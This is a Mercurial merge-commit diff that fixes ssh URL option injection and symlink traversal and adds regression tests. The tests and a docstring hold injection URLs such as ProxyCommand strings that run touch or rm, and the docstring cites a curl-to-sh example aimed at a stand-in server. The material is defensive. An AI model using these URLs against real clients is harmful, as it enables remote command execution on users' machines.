##// END OF EJS Templates
merge with stable
Augie Fackler -
r33736:02a745c2 merge default
parent child Browse files
Show More
@@ -149,3 +149,4 b' 26c49ed51a698ec016d2b4c6b44ca3c3f73cc788'
149 149 857876ebaed4e315f63157bd157d6ce553c7ab73 0 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
@@ -162,3 +162,4 b' 26c49ed51a698ec016d2b4c6b44ca3c3f73cc788'
162 162 857876ebaed4e315f63157bd157d6ce553c7ab73 4.3-rc
163 163 5544af8622863796a0027566f6b646e10d522c4c 4.3
164 164 943c91326b23954e6e1c6960d0239511f9530258 4.2.3
165 3fee7f7d2da04226914c2258cc2884dc27384fd7 4.3.1
@@ -382,7 +382,7 b' def overridewalk(orig, self, match, subr'
382 382 visit.update(f for f in copymap
383 383 if f not in results and matchfn(f))
384 384
385 audit = pathutil.pathauditor(self._root).check
385 audit = pathutil.pathauditor(self._root, cached=True).check
386 386 auditpass = [f for f in visit if audit(f)]
387 387 auditpass.sort()
388 388 auditfail = visit.difference(auditpass)
@@ -3539,7 +3539,7 b' def _performrevert(repo, parents, ctx, a'
3539 3539 pass
3540 3540 repo.dirstate.remove(f)
3541 3541
3542 audit_path = pathutil.pathauditor(repo.root)
3542 audit_path = pathutil.pathauditor(repo.root, cached=True)
3543 3543 for f in actions['forget'][0]:
3544 3544 if interactive:
3545 3545 choice = repo.ui.promptchoice(
@@ -1152,7 +1152,7 b' class dirstate(object):'
1152 1152 # that wasn't ignored, and everything that matched was stat'ed
1153 1153 # and is already in results.
1154 1154 # The rest must thus be ignored or under a symlink.
1155 audit_path = pathutil.pathauditor(self._root)
1155 audit_path = pathutil.pathauditor(self._root, cached=True)
1156 1156
1157 1157 for nf in iter(visit):
1158 1158 # If a stat for the same file was already added with a
@@ -334,11 +334,11 b' class localrepository(object):'
334 334 # only used when writing this comment: basectx.match
335 335 self.auditor = pathutil.pathauditor(self.root, self._checknested)
336 336 self.nofsauditor = pathutil.pathauditor(self.root, self._checknested,
337 realfs=False)
337 realfs=False, cached=True)
338 338 self.baseui = baseui
339 339 self.ui = baseui.copy()
340 340 self.ui.copy = baseui.copy # prevent copying repo configuration
341 self.vfs = vfsmod.vfs(self.path)
341 self.vfs = vfsmod.vfs(self.path, cacheaudited=True)
342 342 if (self.ui.configbool('devel', 'all-warnings') or
343 343 self.ui.configbool('devel', 'check-locks')):
344 344 self.vfs.audit = self._getvfsward(self.vfs.audit)
@@ -421,12 +421,13 b' class localrepository(object):'
421 421 '"sparse" extensions to access'))
422 422
423 423 self.store = store.store(
424 self.requirements, self.sharedpath, vfsmod.vfs)
424 self.requirements, self.sharedpath,
425 lambda base: vfsmod.vfs(base, cacheaudited=True))
425 426 self.spath = self.store.path
426 427 self.svfs = self.store.vfs
427 428 self.sjoin = self.store.join
428 429 self.vfs.createmode = self.store.createmode
429 self.cachevfs = vfsmod.vfs(cachepath)
430 self.cachevfs = vfsmod.vfs(cachepath, cacheaudited=True)
430 431 self.cachevfs.createmode = self.store.createmode
431 432 if (self.ui.configbool('devel', 'all-warnings') or
432 433 self.ui.configbool('devel', 'check-locks')):
@@ -33,13 +33,18 b' class pathauditor(object):'
33 33 The file system checks are only done when 'realfs' is set to True (the
34 34 default). They should be disable then we are auditing path for operation on
35 35 stored history.
36
37 If 'cached' is set to True, audited paths and sub-directories are cached.
38 Be careful to not keep the cache of unmanaged directories for long because
39 audited paths may be replaced with symlinks.
36 40 '''
37 41
38 def __init__(self, root, callback=None, realfs=True):
42 def __init__(self, root, callback=None, realfs=True, cached=False):
39 43 self.audited = set()
40 44 self.auditeddir = set()
41 45 self.root = root
42 46 self._realfs = realfs
47 self._cached = cached
43 48 self.callback = callback
44 49 if os.path.lexists(root) and not util.fscasesensitive(root):
45 50 self.normcase = util.normcase
@@ -96,10 +101,11 b' class pathauditor(object):'
96 101 self._checkfs(prefix, path)
97 102 prefixes.append(normprefix)
98 103
99 self.audited.add(normpath)
100 # only add prefixes to the cache after checking everything: we don't
101 # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
102 self.auditeddir.update(prefixes)
104 if self._cached:
105 self.audited.add(normpath)
106 # only add prefixes to the cache after checking everything: we don't
107 # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
108 self.auditeddir.update(prefixes)
103 109
104 110 def _checkfs(self, prefix, path):
105 111 """raise exception if a file system backed check fails"""
@@ -23,6 +23,7 b' import unicodedata'
23 23 from .i18n import _
24 24 from . import (
25 25 encoding,
26 error,
26 27 pycompat,
27 28 )
28 29
@@ -91,7 +92,13 b' def parsepatchoutput(output_line):'
91 92 def sshargs(sshcmd, host, user, port):
92 93 '''Build argument list for ssh'''
93 94 args = user and ("%s@%s" % (user, host)) or host
94 return port and ("%s -p %s" % (args, port)) or args
95 if '-' in args[:1]:
96 raise error.Abort(
97 _('illegal ssh hostname or username starting with -: %s') % args)
98 args = shellquote(args)
99 if port:
100 args = '-p %s %s' % (shellquote(port), args)
101 return args
95 102
96 103 def isexec(f):
97 104 """check whether a file is executable"""
@@ -738,7 +738,7 b' def _interestingfiles(repo, matcher):'
738 738 This is different from dirstate.status because it doesn't care about
739 739 whether files are modified or clean.'''
740 740 added, unknown, deleted, removed, forgotten = [], [], [], [], []
741 audit_path = pathutil.pathauditor(repo.root)
741 audit_path = pathutil.pathauditor(repo.root, cached=True)
742 742
743 743 ctx = repo[None]
744 744 dirstate = repo.dirstate
@@ -124,6 +124,8 b' class sshpeer(wireproto.wirepeer):'
124 124 if u.scheme != 'ssh' or not u.host or u.path is None:
125 125 self._abort(error.RepoError(_("couldn't parse location %s") % path))
126 126
127 util.checksafessh(path)
128
127 129 self.user = u.user
128 130 if u.passwd is not None:
129 131 self._abort(error.RepoError(_("password in URL not supported")))
@@ -134,10 +136,7 b' class sshpeer(wireproto.wirepeer):'
134 136 sshcmd = self.ui.config("ui", "ssh")
135 137 remotecmd = self.ui.config("ui", "remotecmd")
136 138
137 args = util.sshargs(sshcmd,
138 _serverquote(self.host),
139 _serverquote(self.user),
140 _serverquote(self.port))
139 args = util.sshargs(sshcmd, self.host, self.user, self.port)
141 140
142 141 if create:
143 142 cmd = '%s %s %s' % (sshcmd, args,
@@ -1281,6 +1281,10 b' class svnsubrepo(abstractsubrepo):'
1281 1281 # The revision must be specified at the end of the URL to properly
1282 1282 # update to a directory which has since been deleted and recreated.
1283 1283 args.append('%s@%s' % (state[0], state[1]))
1284
1285 # SEC: check that the ssh url is safe
1286 util.checksafessh(state[0])
1287
1284 1288 status, err = self._svncommand(args, failok=True)
1285 1289 _sanitize(self.ui, self.wvfs, '.svn')
1286 1290 if not re.search('Checked out revision [0-9]+.', status):
@@ -1546,6 +1550,9 b' class gitsubrepo(abstractsubrepo):'
1546 1550
1547 1551 def _fetch(self, source, revision):
1548 1552 if self._gitmissing():
1553 # SEC: check for safe ssh url
1554 util.checksafessh(source)
1555
1549 1556 source = self._abssource(source)
1550 1557 self.ui.status(_('cloning subrepo %s from %s\n') %
1551 1558 (self._relpath, source))
@@ -2907,6 +2907,21 b' def hasdriveletter(path):'
2907 2907 def urllocalpath(path):
2908 2908 return url(path, parsequery=False, parsefragment=False).localpath()
2909 2909
2910 def checksafessh(path):
2911 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2912
2913 This is a sanity check for ssh urls. ssh will parse the first item as
2914 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2915 Let's prevent these potentially exploited urls entirely and warn the
2916 user.
2917
2918 Raises an error.Abort when the url is unsafe.
2919 """
2920 path = urlreq.unquote(path)
2921 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2922 raise error.Abort(_('potentially unsafe url: %r') %
2923 (path,))
2924
2910 2925 def hidepassword(u):
2911 2926 '''hide user credential in a url string'''
2912 2927 u = url(u)
@@ -295,8 +295,13 b' class vfs(abstractvfs):'
295 295
296 296 This class is used to hide the details of COW semantics and
297 297 remote file access from higher level code.
298
299 'cacheaudited' should be enabled only if (a) vfs object is short-lived, or
300 (b) the base directory is managed by hg and considered sort-of append-only.
301 See pathutil.pathauditor() for details.
298 302 '''
299 def __init__(self, base, audit=True, expandpath=False, realpath=False):
303 def __init__(self, base, audit=True, cacheaudited=False, expandpath=False,
304 realpath=False):
300 305 if expandpath:
301 306 base = util.expandpath(base)
302 307 if realpath:
@@ -304,7 +309,7 b' class vfs(abstractvfs):'
304 309 self.base = base
305 310 self._audit = audit
306 311 if audit:
307 self.audit = pathutil.pathauditor(self.base)
312 self.audit = pathutil.pathauditor(self.base, cached=cacheaudited)
308 313 else:
309 314 self.audit = (lambda path, mode=None: True)
310 315 self.createmode = None
@@ -17,6 +17,7 b' import sys'
17 17 from .i18n import _
18 18 from . import (
19 19 encoding,
20 error,
20 21 policy,
21 22 pycompat,
22 23 win32,
@@ -203,7 +204,14 b' def sshargs(sshcmd, host, user, port):'
203 204 '''Build argument list for ssh or Plink'''
204 205 pflag = 'plink' in sshcmd.lower() and '-P' or '-p'
205 206 args = user and ("%s@%s" % (user, host)) or host
206 return port and ("%s %s %s" % (args, pflag, port)) or args
207 if args.startswith('-') or args.startswith('/'):
208 raise error.Abort(
209 _('illegal ssh hostname or username starting with - or /: %s') %
210 args)
211 args = shellquote(args)
212 if port:
213 args = '%s %s %s' % (pflag, shellquote(port), args)
214 return args
207 215
208 216 def setflags(f, l, x):
209 217 pass
@@ -129,3 +129,103 b' attack /tmp/test'
129 129 [255]
130 130
131 131 $ cd ..
132
133 Test symlink traversal on merge:
134 --------------------------------
135
136 #if symlink
137
138 set up symlink hell
139
140 $ mkdir merge-symlink-out
141 $ hg init merge-symlink
142 $ cd merge-symlink
143 $ touch base
144 $ hg commit -qAm base
145 $ ln -s ../merge-symlink-out a
146 $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
147 $ hg up -q 0
148 $ mkdir a
149 $ touch a/poisoned
150 $ hg commit -qAm 'file a/poisoned'
151 $ hg log -G -T '{rev}: {desc}\n'
152 @ 2: file a/poisoned
153 |
154 | o 1: symlink a -> ../merge-symlink-out
155 |/
156 o 0: base
157
158
159 try trivial merge
160
161 $ hg up -qC 1
162 $ hg merge 2
163 abort: path 'a/poisoned' traverses symbolic link 'a'
164 [255]
165
166 try rebase onto other revision: cache of audited paths should be discarded,
167 and the rebase should fail (issue5628)
168
169 $ hg up -qC 2
170 $ hg rebase -s 2 -d 1 --config extensions.rebase=
171 rebasing 2:e73c21d6b244 "file a/poisoned" (tip)
172 abort: path 'a/poisoned' traverses symbolic link 'a'
173 [255]
174 $ ls ../merge-symlink-out
175
176 $ cd ..
177
178 Test symlink traversal on update:
179 ---------------------------------
180
181 $ mkdir update-symlink-out
182 $ hg init update-symlink
183 $ cd update-symlink
184 $ ln -s ../update-symlink-out a
185 $ hg commit -qAm 'symlink a -> ../update-symlink-out'
186 $ hg rm a
187 $ mkdir a && touch a/b
188 $ hg ci -qAm 'file a/b' a/b
189 $ hg up -qC 0
190 $ hg rm a
191 $ mkdir a && touch a/c
192 $ hg ci -qAm 'rm a, file a/c'
193 $ hg log -G -T '{rev}: {desc}\n'
194 @ 2: rm a, file a/c
195 |
196 | o 1: file a/b
197 |/
198 o 0: symlink a -> ../update-symlink-out
199
200
201 try linear update where symlink already exists:
202
203 $ hg up -qC 0
204 $ hg up 1
205 abort: path 'a/b' traverses symbolic link 'a'
206 [255]
207
208 try linear update including symlinked directory and its content: paths are
209 audited first by calculateupdates(), where no symlink is created so both
210 'a' and 'a/b' are taken as good paths. still applyupdates() should fail.
211
212 $ hg up -qC null
213 $ hg up 1
214 abort: path 'a/b' traverses symbolic link 'a'
215 [255]
216 $ ls ../update-symlink-out
217
218 try branch update replacing directory with symlink, and its content: the
219 path 'a' is audited as a directory first, which should be audited again as
220 a symlink.
221
222 $ rm -f a
223 $ hg up -qC 2
224 $ hg up 1
225 abort: path 'a/b' traverses symbolic link 'a'
226 [255]
227 $ ls ../update-symlink-out
228
229 $ cd ..
230
231 #endif
@@ -1097,3 +1097,66 b' pooled".'
1097 1097 adding remote bookmark bookA
1098 1098 updating working directory
1099 1099 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1100
1101 SEC: check for unsafe ssh url
1102
1103 $ cat >> $HGRCPATH << EOF
1104 > [ui]
1105 > ssh = sh -c "read l; read l; read l"
1106 > EOF
1107
1108 $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path'
1109 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
1110 [255]
1111 $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
1112 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
1113 [255]
1114 $ hg clone 'ssh://fakehost|touch%20owned/path'
1115 abort: no suitable response from remote hg!
1116 [255]
1117 $ hg clone 'ssh://fakehost%7Ctouch%20owned/path'
1118 abort: no suitable response from remote hg!
1119 [255]
1120
1121 $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path'
1122 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path'
1123 [255]
1124
1125 #if windows
1126 $ hg clone "ssh://%26touch%20owned%20/" --debug
1127 running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio"
1128 sending hello command
1129 sending between command
1130 abort: no suitable response from remote hg!
1131 [255]
1132 $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug
1133 running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio"
1134 sending hello command
1135 sending between command
1136 abort: no suitable response from remote hg!
1137 [255]
1138 #else
1139 $ hg clone "ssh://%3btouch%20owned%20/" --debug
1140 running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio'
1141 sending hello command
1142 sending between command
1143 abort: no suitable response from remote hg!
1144 [255]
1145 $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug
1146 running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio'
1147 sending hello command
1148 sending between command
1149 abort: no suitable response from remote hg!
1150 [255]
1151 #endif
1152
1153 $ hg clone "ssh://v-alid.example.com/" --debug
1154 running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re)
1155 sending hello command
1156 sending between command
1157 abort: no suitable response from remote hg!
1158 [255]
1159
1160 We should not have created a file named owned - if it exists, the
1161 attack succeeded.
1162 $ if test -f owned; then echo 'you got owned'; fi
@@ -908,3 +908,80 b' cases.'
908 908 *** runcommand log
909 909 0 bar (bar)
910 910 *** runcommand verify -q
911
912 $ cd ..
913
914 Test symlink traversal over cached audited paths:
915 -------------------------------------------------
916
917 #if symlink
918
919 set up symlink hell
920
921 $ mkdir merge-symlink-out
922 $ hg init merge-symlink
923 $ cd merge-symlink
924 $ touch base
925 $ hg commit -qAm base
926 $ ln -s ../merge-symlink-out a
927 $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
928 $ hg up -q 0
929 $ mkdir a
930 $ touch a/poisoned
931 $ hg commit -qAm 'file a/poisoned'
932 $ hg log -G -T '{rev}: {desc}\n'
933 @ 2: file a/poisoned
934 |
935 | o 1: symlink a -> ../merge-symlink-out
936 |/
937 o 0: base
938
939
940 try trivial merge after update: cache of audited paths should be discarded,
941 and the merge should fail (issue5628)
942
943 $ hg up -q null
944 >>> from hgclient import readchannel, runcommand, check
945 >>> @check
946 ... def merge(server):
947 ... readchannel(server)
948 ... # audit a/poisoned as a good path
949 ... runcommand(server, ['up', '-qC', '2'])
950 ... runcommand(server, ['up', '-qC', '1'])
951 ... # here a is a symlink, so a/poisoned is bad
952 ... runcommand(server, ['merge', '2'])
953 *** runcommand up -qC 2
954 *** runcommand up -qC 1
955 *** runcommand merge 2
956 abort: path 'a/poisoned' traverses symbolic link 'a'
957 [255]
958 $ ls ../merge-symlink-out
959
960 cache of repo.auditor should be discarded, so matcher would never traverse
961 symlinks:
962
963 $ hg up -qC 0
964 $ touch ../merge-symlink-out/poisoned
965 >>> from hgclient import readchannel, runcommand, check
966 >>> @check
967 ... def files(server):
968 ... readchannel(server)
969 ... runcommand(server, ['up', '-qC', '2'])
970 ... # audit a/poisoned as a good path
971 ... runcommand(server, ['files', 'a/poisoned'])
972 ... runcommand(server, ['up', '-qC', '0'])
973 ... runcommand(server, ['up', '-qC', '1'])
974 ... # here 'a' is a symlink, so a/poisoned should be warned
975 ... runcommand(server, ['files', 'a/poisoned'])
976 *** runcommand up -qC 2
977 *** runcommand files a/poisoned
978 a/poisoned
979 *** runcommand up -qC 0
980 *** runcommand up -qC 1
981 *** runcommand files a/poisoned
982 abort: path 'a/poisoned' traverses symbolic link 'a'
983 [255]
984
985 $ cd ..
986
987 #endif
@@ -105,4 +105,30 b' regular shell commands.'
105 105 $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
106 106 $ hg pull -q "$URL"
107 107
108 SEC: check for unsafe ssh url
109
110 $ cat >> $HGRCPATH << EOF
111 > [ui]
112 > ssh = sh -c "read l; read l; read l"
113 > EOF
114
115 $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path'
116 pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
117 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
118 [255]
119 $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
120 pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
121 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
122 [255]
123 $ hg pull 'ssh://fakehost|touch${IFS}owned/path'
124 pulling from ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
125 abort: no suitable response from remote hg!
126 [255]
127 $ hg pull 'ssh://fakehost%7Ctouch%20owned/path'
128 pulling from ssh://fakehost%7Ctouch%20owned/path
129 abort: no suitable response from remote hg!
130 [255]
131
132 $ [ ! -f owned ] || echo 'you got owned'
133
108 134 $ cd ..
@@ -316,3 +316,29 b' Test bare push with multiple race checki'
316 316 adding manifests
317 317 adding file changes
318 318 added 1 changesets with 1 changes to 1 files
319
320 SEC: check for unsafe ssh url
321
322 $ cat >> $HGRCPATH << EOF
323 > [ui]
324 > ssh = sh -c "read l; read l; read l"
325 > EOF
326
327 $ hg -R test-revflag push 'ssh://-oProxyCommand=touch${IFS}owned/path'
328 pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
329 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
330 [255]
331 $ hg -R test-revflag push 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
332 pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
333 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
334 [255]
335 $ hg -R test-revflag push 'ssh://fakehost|touch${IFS}owned/path'
336 pushing to ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
337 abort: no suitable response from remote hg!
338 [255]
339 $ hg -R test-revflag push 'ssh://fakehost%7Ctouch%20owned/path'
340 pushing to ssh://fakehost%7Ctouch%20owned/path
341 abort: no suitable response from remote hg!
342 [255]
343
344 $ [ ! -f owned ] || echo 'you got owned'
@@ -461,7 +461,7 b' debug output'
461 461
462 462 $ hg pull --debug ssh://user@dummy/remote
463 463 pulling from ssh://user@dummy/remote
464 running .* ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re)
464 running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re)
465 465 sending hello command
466 466 sending between command
467 467 remote: 355
@@ -477,7 +477,7 b' debug output'
477 477
478 478 $ hg pull --debug ssh://user@dummy/remote
479 479 pulling from ssh://user@dummy/remote
480 running .* ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re)
480 running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re)
481 481 sending hello command
482 482 sending between command
483 483 remote: 355
@@ -1182,3 +1182,34 b' whitelisting of ext should be respected '
1182 1182 pwned: you asked for it
1183 1183
1184 1184 #endif
1185
1186 test for ssh exploit with git subrepos 2017-07-25
1187
1188 $ hg init malicious-proxycommand
1189 $ cd malicious-proxycommand
1190 $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub
1191 $ git init s
1192 Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/
1193 $ cd s
1194 $ git commit --allow-empty -m 'empty'
1195 [master (root-commit) 153f934] empty
1196 $ cd ..
1197 $ hg add .hgsub
1198 $ hg ci -m 'add subrepo'
1199 $ cd ..
1200 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1201 updating to branch default
1202 abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s")
1203 [255]
1204
1205 also check that a percent encoded '-' (%2D) doesn't work
1206
1207 $ cd malicious-proxycommand
1208 $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub
1209 $ hg ci -m 'change url to percent encoded'
1210 $ cd ..
1211 $ rm -r malicious-proxycommand-clone
1212 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1213 updating to branch default
1214 abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s")
1215 [255]
@@ -639,3 +639,43 b' Test that sanitizing is omitted in meta '
639 639 $ hg update -q -C '.^1'
640 640
641 641 $ cd ../..
642
643 SEC: test for ssh exploit
644
645 $ hg init ssh-vuln
646 $ cd ssh-vuln
647 $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub
648 $ svn co --quiet "$SVNREPOURL"/src s
649 $ hg add .hgsub
650 $ hg ci -m1
651 $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub
652 $ hg ci -m2
653 $ cd ..
654 $ hg clone ssh-vuln ssh-vuln-clone
655 updating to branch default
656 abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s")
657 [255]
658
659 also check that a percent encoded '-' (%2D) doesn't work
660
661 $ cd ssh-vuln
662 $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub
663 $ hg ci -m3
664 $ cd ..
665 $ rm -r ssh-vuln-clone
666 $ hg clone ssh-vuln ssh-vuln-clone
667 updating to branch default
668 abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s")
669 [255]
670
671 also check that hiding the attack in the username doesn't work:
672
673 $ cd ssh-vuln
674 $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub
675 $ hg ci -m3
676 $ cd ..
677 $ rm -r ssh-vuln-clone
678 $ hg clone ssh-vuln ssh-vuln-clone
679 updating to branch default
680 abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepository "s")
681 [255]
@@ -1789,3 +1789,77 b" Test that '[paths]' is configured correc"
1789 1789 +bar
1790 1790
1791 1791 $ cd ..
1792
1793 test for ssh exploit 2017-07-25
1794
1795 $ cat >> $HGRCPATH << EOF
1796 > [ui]
1797 > ssh = sh -c "read l; read l; read l"
1798 > EOF
1799
1800 $ hg init malicious-proxycommand
1801 $ cd malicious-proxycommand
1802 $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub
1803 $ hg init s
1804 $ cd s
1805 $ echo init > init
1806 $ hg add
1807 adding init
1808 $ hg commit -m init
1809 $ cd ..
1810 $ hg add .hgsub
1811 $ hg ci -m 'add subrepo'
1812 $ cd ..
1813 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1814 updating to branch default
1815 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s")
1816 [255]
1817
1818 also check that a percent encoded '-' (%2D) doesn't work
1819
1820 $ cd malicious-proxycommand
1821 $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub
1822 $ hg ci -m 'change url to percent encoded'
